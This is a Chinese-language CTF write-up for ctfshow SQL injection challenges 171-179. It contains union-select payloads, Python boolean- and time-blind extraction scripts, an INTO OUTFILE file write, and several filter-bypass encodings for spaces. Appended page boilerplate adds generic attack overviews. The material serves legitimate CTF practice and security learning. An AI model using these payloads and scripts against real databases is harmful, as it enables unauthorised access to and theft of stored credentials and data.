ctfshow sql171-179

mysql

先打开我们本地的mysql,可以看到这些数据库

information_schema

information_schema 库: 是信息数据库,其中保存着关于MySQL服务器所维护的所有其他数据库的信息比如数据库名,数据库表,

SCHEMATA表: 提供了当前MySQL实例中所有的数据库信息,show databases 结果取之此表
TABLES 表:提供了关于数据中表的信息
COLUMNS 表:提供了表中的列信心,详细描述了某张表的所有列已经每个列的信息

mysql

mysql库: MySQL的核心数据库,主要负责存储数据库的用户、权限设置、关键字等mysql自己需要使用的控制和管理信息。

performance_schema

performance_schema 库: 内存数据库,数据放在内存中直接操作的数据库。相对于磁盘,内存的数据读写速度要高出几个数量级,将数据保存在内存中相 比从磁盘上访问能够极大地提高应用的性能。

 

sys

sys 库:通过这个数据库数据库,可以查询谁使用了最多的资源基于IP或是用户。哪张表被访问过最多等等信息。

ctfshow

171

 

1' 报错

注释 --+

三列

爆当前数据库

1' union select 1,2,database() --+

在第三个位置插入当前数据库

爆表

1' union select 1,2,table_name from information_schema.tables where table_schema='ctfshow_web' --+

在information_schema的tables表中查找table_name当table_schema列为ctfshow_web的时候

爆字段

1' union select 1,2,column_name from information_schema.columns where table_name='ctfshow_user' --+

与上个类似

 

1' union select 1,2,password from ctfshow_user --+

猜测flag在password字段里面

172

查询语句不允许直接查 username=flag的记录。 

//检查结果是否有flag
    if($row->username!=='flag'){
      $ret['msg']='查询成功';
    }

跟171一样也是单引号报错

1' union select 1,2 --+

字段数为2

爆库

爆表

1' union select 1,table_name from information_schema.tables where table_schema='ctfshow_web' --+

 爆字段名

1' union select 1,column_name from information_schema.columns where table_name='ctfshow_user2' --+

在columns这个表中查询字段名当表名为ctfshow_user2的时候

1' union select 1,password from ctfshow_user2--+

 173

//检查结果是否有flag
    if(!preg_match('/flag/i', json_encode($ret))){
      $ret['msg']='查询成功';
    }

字段数为3

1' union select  1,2,database() --+ 

1' union select  1,2,table_name from information_schema.tables where table_schema='ctfshow_web' --+

 

1' union select  1,2,column_name from information_schema.columns where table_name='ctfshow_user3' --+

 

1' union select  1,2,password from ctfshow_user3 --+

174

//检查结果是否有flag
    if(!preg_match('/flag|[0-9]/i', json_encode($ret))){
      $ret['msg']='查询成功';
    }
      

返回的值不能有数字了

抓包一下,看到admin

加个单引号

没有信息,由此可以判断是布尔盲注了

布尔盲注

访问一下看看

不适用二分法跑的很慢很慢

import requests

url = 'http://2691519d-979d-4309-8fa7-5d333534bef7.challenge.ctf.show/api/v4.php'
flag = ''

for i in range(60):
    for j in range(32, 128):
        payload = f"?id=1' union select 'a',if(ascii(substr((select group_concat(password) from ctfshow_user4 where username='flag'),{i},1))={j},'True','False') --+" //f''是一种字符串插值的方式,也被称为f-string
        r = requests.get(url=url+payload).text

        if 'True' in r:
            flag += chr(j)
            print(flag)
            break


import requests

url="http://2691519d-979d-4309-8fa7-5d333534bef7.challenge.ctf.show/api/v4.php"
payload="?id=1' union select 'a',if(ascii(substr((select group_concat(password) from ctfshow_user4 where username='flag'),{0},1))={1},'true','false') --+"
flag=''

for i in range(50):
    for j in range(32,128):
        payload1=payload.format(i,j)
        print(payload1)
        params={'password':payload1,'username':1}
        response=requests.get(url=url,params=params)
        if 'true' in response.text:
            flag+=chr(j)
            print(flag)
            break

 使用二分法

  1. 在每次二分查找中,计算中间值j,即min和max的中间值。
  2. 如果min和j相等,说明已经找到了特定元素,将其转换为字符并添加到flag中,然后打印flag并结束当前循环。
  3. 如果min和j不相等,则构造一个payload,用于发送请求。payload中包含一个SQL注入语句,通过判断特定位置的字符的ASCII码是否小于j来判断是否找到了特定元素
  • 如果响应结果中包含'True',说明特定位置的字符的ASCII码小于j,将max更新为j。
  • 如果响应结果中不包含'True',说明特定位置的字符的ASCII码大于等于j,将min更新为j。 
import requests
url = 'http://2691519d-979d-4309-8fa7-5d333534bef7.challenge.ctf.show/api/v4.php'
flag = ''
for i in range(60):
    lenth = len(flag)
    min,max = 32,128
    while True:
        j = min + (max-min)//2
        if(min == j):
            flag += chr(j)
            print(flag)
            break

        payload = f"?id=' union select 'a',if(ascii(substr((select group_concat(password) from ctfshow_user4 where username='flag'),{i},1))<{j},'True','False') --+"
        r = requests.get(url=url+payload).text

        if('True' in r):
            max = j
        else:
            min = j

替换

0' union select REPLACE(username,'g','j'),REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(password,'g','9'),'0','h'),'1','i'),'2','j'),'3','k'),'4','l'),'5','m'),'6','n'),'7','o'),'8','p'),'9','q') from ctfshow_user4 where username='flag' --+

0替换为h
1替换为i
2替换为j
3替换为k
4替换为l
5替换为m
6替换为n
7替换为o
8替换为p
9替换为q

ctfshow{plcnhacc-kipa-lqqp-qihk-iccqelhffjja}
ctfshow{84c60acc-318a-4998-9103-1cc9e40ff22a}

175

//检查结果是否有flag
    if(!preg_match('/[\x00-\x7f]/i', json_encode($ret))){
      $ret['msg']='查询成功';
    }

过滤掉了ascii从0到127的字符,所以就不能单纯地靠回显来爆出flag

使用bp抓包看看,又看到api接口

 

只有两列

时间盲注

写了很久大姐

import requests

import time

url = 'http://19f0da73-14c2-4086-adc5-f3c1a82ea553.challenge.ctf.show/api/v5.php'
flag = ''

for i in range(1, 60):
    for j in range(97, 128):
        payload = f"?id=1' and if(ascii(substr((select group_concat(password) from ctfshow_user5 where username='flag'),{i},1))>{j},sleep(0.5),0)--+"



        start_time = time.time()
        r = requests.get(url=url + payload).text
        end_time = time.time()

        if end_time - start_time <= 0.45:
            flag += chr(j)
            print(flag)
            break

这是别人用的二分法

import requests
from time import time

url = 'http://19f0da73-14c2-4086-adc5-f3c1a82ea553.challenge.ctf.show/api/v5.php'
flag = ''

for i in range(1, 100):
    length = len(flag)
    min = 32
    max = 128
    while 1:
        j = min + (max - min) // 2
        if min == j:
            flag += chr(j)
            print(flag)
            break

        payload = "?id=' union select 'a',if(ascii(substr((select group_concat(password) from ctfshow_user5 where username='flag'),%d,1))<%d,sleep(0.5),1) --+" % (i, j)
        start_time = time()
        r = requests.get(url=url + payload).text
        end_time = time()

        # print(r)
        if end_time - start_time > 0.48:
            max = j
        else:
            min = j

文件写入

写入文件的前提是知道网站初始的目录,一般来说都是/var/www/html/

1' union select 1,password from ctfshow_user5 into outfile '/var/www/html/1.txt'--+

 

so,输出被限制的时候可以利用文件写入操作,into outfile 

176 select过滤

这关select被过滤,大写绕过

Select

 

1' union Select 1,2,table_name from information_schema.tables where table_schema='ctfshow_web' --+

 

1' union Select 1,2,column_name from information_schema.columns where table_name='ctfshow_user' --+

1' union Select 1,2,password from ctfshow_user --+

177 空格过滤

这里用#的url编码%23来替代

用内敛注释 /**/ 代替空格

 

1'/**/union/**/select/**/1,2,table_name/**/from/**/information_schema.tables/**/where/**/table_schema='ctfshow_web'%23

 

1'/**/union/**/select/**/1,2,column_name/**/from/**/information_schema.columns/**/where/**/table_name='ctfshow_user'%23

1'/**/union/**/select/**/1,2,password/**/from/**/ctfshow_user%23

178  *过滤

不能用*

那用%09来绕过空格

 

1'%09union%09select%091,2,table_name%09from%09information_schema.tables%09where%09table_schema='ctfshow_web'%23

 

1'%09union%09select%091,2,column_name%09from%09information_schema.columns%09where%09table_name='ctfshow_user'%23

 

1'%09union%09select%091,2,password%09from%09ctfshow_user%23

 

179

这里用%0c来代替空格

1'%0cunion%0cselect%0c1,2,3%23

1'%0cunion%0cselect%0c1,2,table_name%0cfrom%0cinformation_schema.tables%0cwhere%0ctable_schema='ctfshow_web'%23

1'%0cunion%0cselect%0c1,2,column_name%0cfrom%0cinformation_schema.columns%0cwhere%0ctable_name='ctfshow_user'%23

1'%0cunion%0cselect%0c1,2,password%0cfrom%0cctfshow_user%23

总结1下空格被过滤绕过的方法

%0a
%0b
%0c
%0d
%09
%a0(在特定字符集才能利用)
以上均为URL编码

/**/组合
括号
%23代替注释符 -- 

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
### 回答1: ctfshow-web-web红包题是一道CTF比赛中的网络安全题目。这道题目的背景是一个在线购物网站,要求我们通过安全漏洞来获得网站的红包。 首先,我们可以检查网站的源代码,寻找可能存在的漏洞。在网站的前端页面中,我们注意到了一个提交订单的功能,并且发现了其中一个参数可以被用户任意修改。这可能导致一个被称为SQL注入的漏洞。 我们试图通过在参数中插入恶意代码来进行SQL注入攻击。我们发现当我们输入`' or 1=1 -- `时,查询结果会返回所有订单记录,而不仅仅是当前用户的订单。这表明成功利用了SQL注入漏洞。 接下来,我们要尝试进一步利用这个漏洞来获取网站的红包。我们可以通过构建特制的SQL语句来绕过登录过程,直接获取红包的信息。 最终,我们成功地利用了网站存在的漏洞,获取到了红包的相关信息。这个过程展示了在网络安全竞赛中,如何通过分析代码和利用漏洞来实现攻击的目标。 在这个过程中,我们需要具备对SQL注入漏洞的理解和掌握,并且需要有一定的编程和网络安全知识。通过解决这样的题目,我们可以提高我们对网络安全攻防的认识和技能,以更好地保护网络安全。 ### 回答2: ctfshow-web-web红包题是一个CTF(Capture the Flag)比赛中的Web题目,目标是通过分析Web应用程序的漏洞来获取红包。CTF比赛是一种网络安全竞赛,在这种比赛中,参赛者需要通过解决各种不同类型的安全挑战来积分。 该题目中的Web应用程序可能存在一些漏洞,我们需要通过分析源代码、网络请求和服务器响应等信息来找到红包的位置和获取红包的方法。 首先,我们可以查看网页源代码,寻找可能的注入点、敏感信息或其他漏洞。同时,我们还可以使用开发者工具中的网络分析功能来查看浏览器和服务器之间的通信内容,找到可能存在的漏洞、密钥或其他敏感信息。 其次,我们可以进行输入测试,尝试不同的输入来检查是否存在注入漏洞、文件包含漏洞、路径遍历漏洞等。通过测试和观察响应结果,我们可以得到一些重要的信息和线索。 最后,我们可以分析服务器响应和错误信息,查找可能存在的网站配置错误、逻辑漏洞或其它任何可以利用的安全问题。此外,我们还可以使用常见的Web漏洞扫描工具,如Burp Suite、OWASP ZAP等,来辅助我们发现潜在的漏洞。 通过以上的分析和测试,我们有可能找到获取红包的方法。然而,具体的解题方法还需要根据题目中的具体情况来确定。在CTF比赛中,每个题目的设置都可能不同,解题的方法和思路也会有所差异。因此,在解题过程中,要保持敏锐的观察力和灵活的思维,尝试不同的方法和技巧,才能成功获取红包并完成任务。 ### 回答3: ctfshow-web-web红包题是一个CTF比赛中的网络题目,其目标是寻找并利用网页内的漏洞,获取红包。 首先,我们需要分析该网页的源代码,寻找可能存在的漏洞。可以通过审查元素、浏览器开发者工具等方式进行源代码分析。 其中,可能存在的漏洞包括但不限于: 1. 文件路径遍历漏洞:通过对URL的参数进行修改,尝试访问其他目录中的文件。 2. XSS漏洞:通过在用户输入的地方注入恶意代码,实现攻击者想要的操作。 3. SQL注入漏洞:通过修改数据库查询参数,获取未授权的数据。 4. 文件上传漏洞:上传恶意文件并执行。 一旦发现漏洞,我们需要进一步利用它们来获取红包。例如,如果存在文件路径遍历漏洞,我们可以尝试通过修改URL参数的方式,访问网站服务器上存放红包的文件目录,获取目录中的文件。 如果存在XSS漏洞,我们可以尝试在用户输入的地方注入一段JavaScript代码,以获取网页中的敏感信息或执行一些恶意操作,如窃取cookies。 如果存在SQL注入漏洞,我们可以尝试通过修改数据库查询参数,获取未授权的数据,如红包的具体位置或密码。 如果存在文件上传漏洞,我们可以尝试上传一个特殊设计的恶意文件,以执行任意命令或获取服务器上的文件。 综上所述,ctfshow-web-web红包题需要我们深入分析网页代码,发现可能存在的漏洞,并利用这些漏洞获取红包。这个过程需要我们对常见的漏洞类型有一定的了解,并具备相关的漏洞利用技术。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值